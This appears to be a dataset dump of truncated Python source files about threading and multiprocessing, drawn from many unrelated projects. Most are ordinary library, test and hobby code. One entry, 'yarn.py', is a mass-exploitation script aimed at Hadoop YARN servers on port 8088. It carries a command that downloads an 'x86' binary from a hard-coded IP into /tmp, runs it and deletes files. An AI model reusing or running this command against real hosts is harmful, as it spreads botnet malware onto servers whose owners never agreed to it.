source
stringlengths
3
86
python
stringlengths
75
1.04M
test_events.py
"""Tests for events.py.""" import collections.abc import concurrent.futures import functools import io import os import platform import re import signal import socket try: import ssl except ImportError: ssl = None import subprocess import sys import threading import time import errno import unittest from unitt...
main_loop.py
import copy import multiprocessing as mp import os import shutil import signal import sys import tempfile import threading import urllib.parse import zmq from loguru import logger from .sampler_loop import sampler_loop from ..cache_policy import FIFOPolicy from ..sampler import PERSampler from ..utils import ZMQ_DEFA...
MLAntiMalware.py
import pefile import os import array import math import pickle import joblib import sys from threading import * from tkinter import * from tkinter.filedialog import askopenfilename import tkinter, tkinter.scrolledtext import sys import urllib.request import glob import time import hashlib import quarantaene os_name = ...
thermostat.py
### BEGIN LICENSE # Copyright (c) 2015 Andrzej Taramina <andrzej@chaeron.com> # Permission is hereby granted, free of charge, to any person # obtaining a copy of this software and associated documentation # files (the "Software"), to deal in the Software without # restriction, including without limitation the rights t...
pub.py
import zmq import time import multiprocessing as mp import pystreaming.video.interface as intf TIMESTEP = 0.01 def pullpub_ps(shutdown, infd, outfd, rcvhwm, sndhwm): context = zmq.Context() socket = context.socket(zmq.PULL) socket.setsockopt(zmq.RCVHWM, rcvhwm) socket.bind(infd) out = context.s...
pubsub.py
import json import threading import time from random import randrange import websocket # pip install websocket-client from claim_bonus import claim_channel_points_bonus from raid import update_raid, Raid from twitch_data import * # For documentation on Twitch PubSub API, see https://dev.twitch.tv/docs/pubsub def l...
common.py
# Copyright (c) 2015 Ansible, Inc. # All Rights Reserved. # Python import json import yaml import logging import os import re import subprocess import stat import urllib.parse import threading import contextlib import tempfile import psutil from functools import reduce, wraps from decimal import Decimal # Django fro...
debbit.py
#!/usr/bin/env python3 import base64 import logging import os import platform import random import smtplib import ssl import sys import time import traceback import urllib.request import zipfile from datetime import datetime from datetime import timedelta from email import encoders from email.mime.base import MIMEBase ...
check_ip.py
#!/usr/bin/env python2 # coding:utf-8 import sys import os import json import threading current_path = os.path.dirname(os.path.abspath(__file__)) root_path = os.path.abspath( os.path.join(current_path, os.pardir, os.pardir, os.pardir)) data_path = os.path.abspath(os.path.join(root_path, os.pardir, os.pardir, 'data'))...
02_应用程序.py
import threading print('666') def func(arg): print(arg) t = threading.Thread(target=func, args=('kkk',)) t.start() print('end')
issue.py
"""For checking issue state based on supplied issue URL. """ import logging import multiprocessing import os import re import yaml import requests from abc import ABCMeta, abstractmethod logger = logging.getLogger(__name__) CREDENTIALS_FILE = 'credentials.yaml' class IssueCheckerBase(object): """Base class fo...
test_basic.py
# -*- coding: utf-8 -*- """ tests.basic ~~~~~~~~~~~~~~~~~~~~~ The basic functionality. :copyright: © 2010 by the Pallets team. :license: BSD, see LICENSE for more details. """ import re import time import uuid from datetime import datetime from threading import Thread import pytest import werkze...
mutex_and_join1.py
# 执行前修改db.txt中count数量 from multiprocessing import Process, Lock import json import time def search(name): time.sleep(1) with open('db.txt', 'r', encoding='utf-8') as f: dic = json.load(f) print('<%s> find tickets [%s]' % (name, dic['count'])) def get(name): time.sleep(1) dic = json.loa...
NRFReader.py
from nrf24 import NRF24 from threading import Thread from struct import * uuid = 0xCB15CA; class NRFReader: def __init__(self): self.radio = NRF24() self.radio.begin(1, 0, "P8_23", "P8_24") self.radio.setRetries(3, 5) self.radio.setPayloadSize(32) self.radio.setChannel(0x60) self.radio.setDataRate(NRF2...
yarn.py
import sys import threading import requests import os from Queue import * from threading import Thread ips = open(sys.argv[1], "r").readlines() queue = Queue() queue_count = 0 cmd = "cd /tmp; wget http://89.42.133.67/x86 chmod 777 *; ./x86 yarn; rm -rf *" def rtek(host): try: url = 'http://' + host + ':808...
Model.py
import datetime import importlib import os import re import subprocess import sys import threading import unicodedata import environ from shlex import split from sys import platform from time import sleep import jsonpickle import xarray as xr from site import getsitepackages from pyplan_engine.classes.BaseNode import...
artemis.py
# Standard Library imports import socket, ssl, datetime, threading, time, sys, subprocess try: import requests import msmcauth import fade from colorama import Fore from discord_webhook import DiscordWebhook, DiscordEmbed except ImportError: print("Installing dependencies... (requirements.txt)...
video.py
""" Core tools and data structures for working with videos. Notes:: [frame numbers] ETA uses 1-based indexing for all frame numbers [image format] ETA stores images exclusively in RGB format. In contrast, OpenCV stores its images in BGR format, so all images that are read or produced outside ...
robot_module.py
#!/usr/bin/env python import rospy import threading import vrep import time from sensor_msgs.msg import Joy from sensor_msgs.msg import JointState class Robot(): def __init__(self,connectionAddress='127.0.0.1' , connectionPort= 19997, waitUntilConnected=True, doNotReconnectOnceDisconnected=True, timeOutIn...
__init__.py
"""Library to handle connection with Xiaomi Gateway""" import socket import json import logging import platform import struct from collections import defaultdict from threading import Thread from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes from cryptography.hazmat.backends import default_bac...
emitters.py
""" emitters.py Copyright (c) 2013-2014 Snowplow Analytics Ltd. All rights reserved. This program is licensed to you under the Apache License Version 2.0, and you may not use this file except in compliance with the Apache License Version 2.0. You may obtain a copy of the Apache License Version 2.0...
start.py
import multiprocessing import os import signal import sys import time import RuntimeError reload(sys) # sys.setdefaultencoding("UTF-8") base_dir = os.path.split(os.path.abspath(sys.argv[0]))[0] class GracefulExitEvent(object): def __init__(self): self.workers = [] self.exit_event = multiprocessin...
Params_Winslow.py
# @sp: newly created import sys import os import threading import time from datetime import datetime from polyaxon_client.tracking import Experiment from params import param_utils import params.polyaxon_parsing as pp from util.output_artifact_utils import define_prepare_mdl_path, \ define_prepare_tb_path def ge...
Trigger.py
import grovepi import time from threading import Thread # Connect the Grove PIR Motion Sensor to digital port D8 # SIG,NC,VCC,GND pir_sensor = 8 grovepi.pinMode(pir_sensor,"INPUT") # Connect the Grove Piezo Vibration Sensor to analog port A0 # OUT,NC,VCC,GND piezo = 0 grovepi.pinMode(piezo,"INPUT") class Trigger():...
midicontroller.py
"See MidiController docstring" # part of xair-remote.py # Copyright (c) 2018, 2021 Peter Dikant # Additions Copyright (c) 2021 Ross Dickson # Some rights reserved. See LICENSE. import threading import time import os from mido import Message, open_input, open_output, get_input_names, get_output_names class TempoDetect...
threading.py
import asyncio import threading import datetime from queue import Queue from random import randint import re import sys import traceback import inspect from datetime import timedelta import logging import functools import iso8601 from appdaemon import utils as utils from appdaemon.appdaemon import AppDaemon class Th...
recv_t.py
import time import socket import sys # import rospy import traceback from threading import Thread def client_thread(conn): is_active = True data = conn.recv(1024) print(data) is_active = False conn.close() def start_server(): # rospy.init_node("receiver") # initial ros node HOST = ...
h2o_objects.py
import sys, getpass, os, psutil, time, requests, errno, threading, inspect, shlex import h2o_os_util, h2o_print as h2p, h2o_args import h2o_nodes from h2o_test import \ tmp_dir, tmp_file, flatfile_pathname, spawn_cmd, find_file, verboseprint, \ dump_json, log, check_sandbox_for_errors import json, platform, re ...
fram.py
''' This file controls the secondary (radiation) experiment Contributors: Jillian Frimml Skyler Puckett Konstantin Zaremski ''' # Import modules from time import sleep import time import logging import os import multiprocessing as multiprocessing from adafruit_extended_bus import Exten...
command.py
from __future__ import absolute_import from collections import defaultdict from collections import namedtuple from contextlib import closing from itertools import chain from ModestMaps.Core import Coordinate from multiprocessing.pool import ThreadPool from random import randrange from tilequeue.config import create_que...
mem_profile.py
#!/usr/bin/python # Copyright (c) 2018 LG Electronics, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable la...
answer.py
#!/usr/bin/python3 import os, sys import threading import requests os.system("clear") os.system("ls") #1 print(os.getpid()) #2 print(os.getloadavg()) #3 load_avg=os.getloadavg() print("cpu count: ",os.cpu_count()) load_avg = os.getloadavg() print("load_avg: "load_avg[1]) if(os.cpu_count()-load_avg[1]<1): sys....
generate_token.py
import os import sys import h5py import cPickle import argparse import multiprocessing import time import numpy as np reload(sys) sys.setdefaultencoding('utf8') from utils import normalize, Tokenizer parser = argparse.ArgumentParser(description='Tokenize datasets') parser.add_argument('--split', default='train', ...
custom.py
# -------------------------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # --------------------------------------------------------------------...
inference_video.py
""" Inference video: Extract matting on video. Example: python inference_video.py \ --model-type mattingrefine \ --model-backbone resnet50 \ --model-backbone-scale 0.25 \ --model-refine-mode sampling \ --model-refine-sample-pixels 80000 \ --model-checkpoint "PATH_TO...
collection_replica.py
# -*- coding: utf-8 -*- # Copyright 2018-2021 CERN # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or a...
test_logging.py
#!/usr/bin/env python # # Copyright 2001-2009 by Vinay Sajip. All Rights Reserved. # # Permission to use, copy, modify, and distribute this software and its # documentation for any purpose and without fee is hereby granted, # provided that the above copyright notice appear in all copies and that # both that copyright n...
__init__.py
from __future__ import unicode_literals import re import io import json import time import threading import six import ssl from six.moves import queue import socket import websocket from .messages import * from .utils import logger from .exceptions import * STATE_DISCONNECTED = 0 STATE_CONNECTING = 1 STATE_WEBSOCKET...
d5.py
''' MIT License Copyright (c) Chen-Yu Yen - Soheil Abbasloo 2020 Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, ...
patch_thread.py
import sys from datetime import datetime, timedelta from threading import Thread from time import sleep import sqlalchemy from airflow.models import TaskInstance from airflow.settings import Stats from airflow.utils.db import provide_session from pytz import utc from airflow_metrics.utils.fn_utils import once from ...
TestPersistentDB.py
"""Test the PersistentDB module. Note: We don't test performance here, so the test does not predicate whether PersistentDB actually will help in improving performance or not. We also assume that the underlying SteadyDB connections are tested. Copyright and credit info: * This test was contributed by Christoph Zwersc...
badapple.py
# file: badapple.py # description: generate and display txt in cmd.exe # translated from Touhou - Bad Apple mp4 clip # author: Hiukong Dan # version: 1.0 5/May/2021 """ TODO: improve resolution of the translated ascii code image manipulate cmd buffer directly and using another method instead of print hide cursor if...
test_concurrency.py
# Licensed under the Apache License: http://www.apache.org/licenses/LICENSE-2.0 # For details: https://github.com/nedbat/coveragepy/blob/master/NOTICE.txt """Tests for concurrency libraries.""" import glob import os import random import re import sys import threading import time from flaky import flaky import pytest...
example_kline_1m.py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # # File: example_kline_1m.py # # Part of ‘UNICORN Binance WebSocket API’ # Project website: https://github.com/oliver-zehentleitner/unicorn-binance-websocket-api # Documentation: https://oliver-zehentleitner.github.io/unicorn-binance-websocket-api # PyPI: https://pypi.org...
wrapper.py
import logging import os import re import shlex import subprocess import sys import time from queue import Queue, Empty from threading import Thread from click import ClickException mutagen = os.environ.get('MUTAGEN_HELPER_MUTAGEN_BIN', "mutagen.exe" if os.name == 'nt' else "mutagen") class WrapperException(ClickEx...
SSH-Config-Final.py
import paramiko import threading import os.path import subprocess import time import sys import re #Checking IP address file and content validity def ip_is_valid(): check = False global ip_list while True: #Prompting user for input print "\n# # # # # # # # # # # # # # # # # # # # # # ...
test_decimal.py
# Copyright (c) 2004 Python Software Foundation. # All rights reserved. # Written by Eric Price <eprice at tjhsst.edu> # and Facundo Batista <facundo at taniquetil.com.ar> # and Raymond Hettinger <python at rcn.com> # and Aahz (aahz at pobox.com) # and Tim Peters """ These are the test cases for the Decim...
net07_douyu_threading.py
"""多线程抓取斗鱼美女主播首页美女主播图片""" ''' @Time : 2018/1/23 下午5:59 @Author : scrappy_zhang @File : net07_douyu_threading.py ''' import urllib.request import re import time import threading max_retry_count = 3 def down_img(url): """ 下载图片 https://rpic.douyucdn.cn/live-cover/appCovers/2017/10/24/12017.jpg "...
vcp_terminal.py
#!/usr/bin/env python """ VIRTUAL COM PORT TERMINAL - implements a read/write terminal for communicating with pyusb devices SERIAL STATE notifications (2 bytes, interrupt endpoint) 15..7 - reserved 6 bOverRun Received data has been discarded due to a device overrun 5 bParity A parity error has o...
translate.py
import argparse import gzip import os import pickle import sys import time import traceback from multiprocessing import Process from typing import List from Evaluator.CodeInspection.utils import mkdirRecursive from Evaluator.EventTranslation import EventProcessor, DEFAULT_TRANSLATORS from Evaluator.Ranking import Met...
main_panel.py
from idlelib.tooltip import Hovertip import numpy import support import tkinter as tk import PIL.Image from threading import Thread from tkinter.constants import END from tkinter import * from tkinter import messagebox from tkinter.filedialog import askdirectory from PIL import ImageTk from UI import ui_constants fro...
manager.py
import json import threading import time from datetime import datetime import requests import speedtest from bson.json_util import dumps from . import settings from . import database from .logger import logger class SpeedtestMgr: def __init__(self): self.st = speedtest.Speedtest() self.do_run = ...
smach_viewer.py
#!/usr/bin/env python # Copyright (c) 2010, Willow Garage, Inc. # All rights reserved. # Copyright (c) 2013, Jonathan Bohren, The Johns Hopkins University # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # * Redis...
trezor.py
from binascii import hexlify, unhexlify import traceback import sys from electrum.util import bfh, bh2u, versiontuple, UserCancelled from electrum.bitcoin import (xpub_from_pubkey, deserialize_xpub, TYPE_ADDRESS, TYPE_SCRIPT) from electrum import constants from electrum.i18n import _ from...
BallTrackerStub.py
# BallTrackerStub # Singleton class for keeping an observable coordinates of a ball, found via camera input import time import random import threading class BallTracker: # Singleton instance instance = None @staticmethod def get_instance(): if BallTracker.instance is None: BallTra...
main.py
import argparse import queue import threading import signal from pathlib import Path import blobconverter import cv2 import depthai import numpy as np from imutils.video import FPS from math import cos, sin parser = argparse.ArgumentParser() parser.add_argument('-nd', '--no-debug', action="store_true", help="Prevent...
PiVideoStream.py
# borrowed from imutils https://github.com/jrosebr1/imutils/blob/master/imutils/video/pivideostream.py # import the necessary packages from picamera.array import PiRGBArray from picamera import PiCamera from threading import Thread class PiVideoStream: def __init__(self, resolution=(320, 240), framerate=4): ...
dbusted.py
""" bluew.dbusted ~~~~~~~~~~~~ This modlule contains an implementation of an EngineBluew class, using the bluez D-Bus API. :copyright: (c) 2017 by Ahmed Alsharif. :license: MIT, see LICENSE for more details. """ import logging import threading import time from typing import List, Optional, Callable # pylint: dis...
BetterGhost.py
#!/usr/bin/python # -*- coding: UTF-8 -*- # Copyright (C) 2021 Ben Tettmar # Permission is hereby granted, free of charge, to any person obtaining a copy of # this software and associated documentation files (the "Software"), to deal in # the Software without restriction, including without limitation the rights to # ...
delay_control.py
import threading, time, queue, collections from debug_utils import * class InterJobGenTimeController_ExpAvg_AIMD(): def __init__(self, _id, max_delay, fc_client): self._id = _id self.max_delay = max_delay self.fc_client = fc_client self.q_len_limit = 2 self.q_len = 0 self.q_len_max = 2 self.avg_delay ...
pipelines.py
# Define your item pipelines here # # Don't forget to add your pipeline to the ITEM_PIPELINES setting # See: https://docs.scrapy.org/en/latest/topics/item-pipeline.html import threading import pymongo # useful for handling different item types with a single interface from itemadapter import ItemAdapter from spider.i...
threading_test.py
import threading def worker1(): for x in range(1,20000): print('1: ' + str(x)) def worker2(): for x in range(1,20000): print('2: ' + str(x)) t1 = threading.Thread(target=worker1) t2 = threading.Thread(target=worker2) t1.start() t2.start()
hydrus_client.py
#!/usr/bin/env python3 # Hydrus is released under WTFPL # You just DO WHAT THE FUCK YOU WANT TO. # https://github.com/sirkris/WTFPL/blob/master/WTFPL.md import locale try: locale.setlocale( locale.LC_ALL, '' ) except: pass try: import os import argparse import sys from hydrus.core import H...
test_build_api.py
"""Test the kernels service API.""" import threading from ipython_genutils.tempdir import TemporaryDirectory from ipython_genutils import py3compat from jupyterlab.labapp import LabApp from jupyterlab_launcher.tests.utils import APITester, LabTestBase from notebook.tests.launchnotebook import assert_http_error class...
mobZpro.py
''' ┏━━━━━━━━━━━━━━━━━ ┣ 𐀀 [x!as 𝗌𝖾𝗅𝖿𝖻𝗈𝗍]. ┗━━━━━━━━━━━━━━━━━ ''' from linepy import * from liff.ttypes import LiffChatContext, LiffContext, LiffSquareChatContext, LiffNoneContext, LiffViewRequest from thrift import transport, protocol, server from akad.ttypes import * from akad.ttypes import Message from akad...
util.py
from threading import Thread def postpone(function): def decorator(*args, **kwargs): t = Thread(target=function, args=args, kwargs=kwargs) t.daemon = True t.start() return decorator
rotina_pgdas.py
from time import sleep from default.webdriver_utilities import * from default.interact import * from smtp_project.init_email import JsonDateWithImprove from default.settings import SetPaths from default.data_treatment import ExcelToData class PgdasAnyCompt(WDShorcuts, SetPaths, ExcelToData): def __init__(self, co...
detection_input.py
from __future__ import division from __future__ import print_function import cv2 import numpy as np import mxnet as mx from queue import Queue from threading import Thread from operator_py.cython.bbox import bbox_overlaps_cython from operator_py.bbox_transform import nonlinear_transform as bbox_transform class Dete...
backend.py
# # Copyright (c) 2021, NVIDIA CORPORATION. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed ...
talaMaster.py
#!/usr/bin/env python3 ################################################################################ # Author(s): Aladi Akoh, ............ # Professor: Dr. Jeff McGough # Usage: Start up talaMaster on a terminal using the command: # ./talaMaster.py # Start up another terminal and run the client program using the c...
mininet_tests.py
#!/usr/bin/env python3 """Mininet tests for FAUCET.""" # pylint: disable=too-many-lines # pylint: disable=missing-class-docstring,missing-function-docstring # pylint: disable=too-many-arguments import binascii import collections import copy import itertools import ipaddress import json import os import random import...
slowloris.py
#!/usr/bin/env https://github.com/Tandelajr/mr.tandela # MIT License # # Copyright (C) 2020, Entynetproject. All Rights Reserved. # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without re...
cli.py
"""aqualogic command line test app.""" import threading import logging import sys from core import AquaLogic from states import States logging.basicConfig(level=logging.INFO) def _data_changed(panel): print('Pool Temp: {}'.format(panel.pool_temp)) print('Air Temp: {}'.format(panel.air_temp)) print('Pum...
multiprocessing.py
from threading import Thread from multiprocessing import Manager, Queue, Lock, Condition, Semaphore from typing import Iterable, Any, Dict from coba.utilities import coba_exit from coba.contexts import CobaContext, ConcurrentCacher, Logger, Cacher from coba.pipes import Pipes, Filter, Sink, QueueIO, Multiprocesso...
EventLoop.py
########################################################################## # # Copyright (c) 2011-2012, John Haddon. All rights reserved. # Copyright (c) 2011-2015, Image Engine Design Inc. All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted prov...
app.py
import mediapipe as mp # package for pose detection import cv2 # package for computer vision import time # python time module import threading # run multiple processes at the same time from gtts import gTTS # google text-to-speech module import os # importing os module # importing self defined utility functions...
POP3SF.py
# SPDX-License-Identifier: BSD-3-Clause # # Copyright (c) 2021 Vít Labuda. All rights reserved. # # Redistribution and use in source and binary forms, with or without modification, are permitted provided that the # following conditions are met: # 1. Redistributions of source code must retain the above copyright notice...
bq.py
# # Licensed under the LICENSE. # Copyright 2017, Sony Mobile Communications Inc. # ''' BigQuery uploads ''' import base64 from threading import Thread from os import environ import requests from utils.environment import TE class BQ: """ Class implementing BigQuery uploads. :class: BQ """ BASE_UR...
VoiceRecognition.py
import sys import os sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) import threading import time import playsound import speech_recognition as sr #from webdriver_manager.chrome import ChromeDriverManager import os class VoiceRecognition: def __init__(self): self.language ...
optimal_args_hashbits.py
#! /usr/bin/env python # This file is part of khmer, https://github.com/dib-lab/khmer/, and is # Copyright (C) 2015, Michigan State University. # Copyright (C) 2015, The Regents of the University of California. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided...
subprocess_env_manager.py
from typing import Any, Union, List, Tuple, Dict, Callable, Optional from multiprocessing import Pipe, connection, get_context, Array from collections import namedtuple import logging import platform import time import copy import traceback import numpy as np import torch import ctypes import pickle import cloudpickle ...
run.py
# Copyright (c) 2020 Institution of Parallel and Distributed System, Shanghai Jiao Tong University # ServerlessBench is licensed under the Mulan PSL v1. # You can use this software according to the terms and conditions of the Mulan PSL v1. # You may obtain a copy of Mulan PSL v1 at: # http://license.coscl.org.cn/M...
test_SmartTrigger.py
import IfxPy from ctypes import * import threading import os def printme1(outValue1): "This prints a passed string into this function1" print ("\nTest for callback function, value = ", outValue1) return def printme2(outValue2): "This prints a passed string into this function2" print ("\nTest ...
test_logging.py
# Copyright 2001-2021 by Vinay Sajip. All Rights Reserved. # # Permission to use, copy, modify, and distribute this software and its # documentation for any purpose and without fee is hereby granted, # provided that the above copyright notice appear in all copies and that # both that copyright notice and this permissio...
interactive_process.py
""" Wrapper for subrocess.Popen with interactive input support. """ import select import subprocess import sys import threading from subprocess import Popen from typing import Sequence, TextIO from awscliv2.exceptions import ExecutableNotFoundError, SubprocessError class InteractiveProcess: """ Wrapper for s...
bot.py
from .ws import OsuIrc, OsuIrcProxy from . import models import typing as t from threading import Thread import re def gettext_between(text: str, before: str, after: str, is_include=False) -> str: # 取出中间文本 """ 取中间文本 :param text: 原文本 :param before: 前面文本 :param after: 后面文本 :param is_include: 是否...
views.py
import os from flask import render_template, request, send_from_directory, redirect from threading import Thread from app import app from app import twitapp,tagcloud from app.utils import maintenance,gettoken,process_source,process_uploaded_txt_file,allowed_file_img @app.route('/',methods=['GET']) def index():...
pyrep.py
import numpy as np from contextlib import contextmanager from pyrep.backend import sim, utils from pyrep.objects.object import Object from pyrep.objects.shape import Shape from pyrep.textures.texture import Texture from pyrep.errors import PyRepError from pyrep.backend import sim import os import sys import time import...
wxRavenP2PMarketNewAdDialogLogic.py
''' Created on 8 janv. 2022 @author: slinux ''' #from .wxRavenTutorialPluginDesign import * import threading import time from .wxRavenP2PMarketDesign import * from wxRavenGUI.application.wxcustom import * from libs.RVNpyRPC._P2PmarketPlace import RavencoinP2PMarketPlaceAd, _P2PMARKET_ID_ from .wxRavenCreateAto...
runner.py
import argparse import json import logging import os import threading import time import traceback import colors import docker import numpy import psutil from benchmark.algorithms.definitions import (Definition, instantiate_algorithm) from benchmark.datasets import DATA...
basebrowser.py
# -*- coding: utf-8 -*- from noval import GetApp,_,core,constants import os import tkinter as tk from tkinter import messagebox,filedialog import noval.consts as consts from tkinter import ttk import noval.util.utils as utils import noval.util.fileutils as fileutils import noval.util.strutils as strutils import noval.p...
eeg.py
""" Abstraction for the various supported EEG devices. 1. Determine which backend to use for the board. 2. """ import os, sys import time from time import sleep from multiprocessing import Process import numpy as np import pandas as pd from brainflow import BoardShim, BoardIds, BrainFlowInputParams from m...
TCPServer_2nodes.py
import socket import threading import sys bind_ip = "" bind_port = 9998 server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind((bind_ip, bind_port)) server.listen(8) print("[*] Listening from %s:%d" % (bind_ip, bind_port)) def handle_client(client_socket): # send something client_socket.send...
tests.py
# -*- coding: utf-8 -*- # Unit tests for cache framework # Uses whatever cache backend is set in the test settings file. from __future__ import unicode_literals import os import re import copy import shutil import tempfile import threading import time import unittest import warnings from django.conf import settings ...
ex2_show_version.py
import threading from my_functions import ssh_command from datetime import datetime from my_devices import device_list def thread_main(): start_time = datetime.now() threads=[] for a_device in device_list: my_thread = threading.Thread(target=ssh_command, args=(a_device,"show version")) thr...
test_ffi.py
import sys, py from pypy.module.pypyjit.test_pypy_c.test_00_model import BaseTestPyPyC class Test__ffi(BaseTestPyPyC): def test__ffi_call(self): from rpython.rlib.test.test_clibffi import get_libm_name def main(libm_name): try: from _rawffi.alt import CDLL, types ...
gsm.py
from __future__ import print_function # local application imports import sys import os from os import path sys.path.append(path.dirname(path.dirname(path.abspath(__file__)))) from coordinate_systems import Distance, Angle, Dihedral, OutOfPlane from utilities import nifty, options, block_matrix from wrappers import Mol...
test_sys.py
import builtins import codecs import gc import locale import operator import os import struct import subprocess import sys import sysconfig import test.support from test import support from test.support import os_helper from test.support.script_helper import assert_python_ok, assert_python_failure from test.support imp...
tello_openpose.py
""" tello_openpose.py : Use the Tello drone as an "selfie air stick" Relies on tellopy (for interaction with the Tello drone) and Openpose (for body detection and pose recognition) I started from: https://github.com/Ubotica/telloCV/blob/master/telloCV.py """ import time import datetime import os import tellopy impor...
test_capture.py
# -*- coding: utf-8 -*- from __future__ import absolute_import from __future__ import division from __future__ import print_function import contextlib import io import os import pickle import subprocess import sys import textwrap from io import UnsupportedOperation import py from six import text_type import pytest f...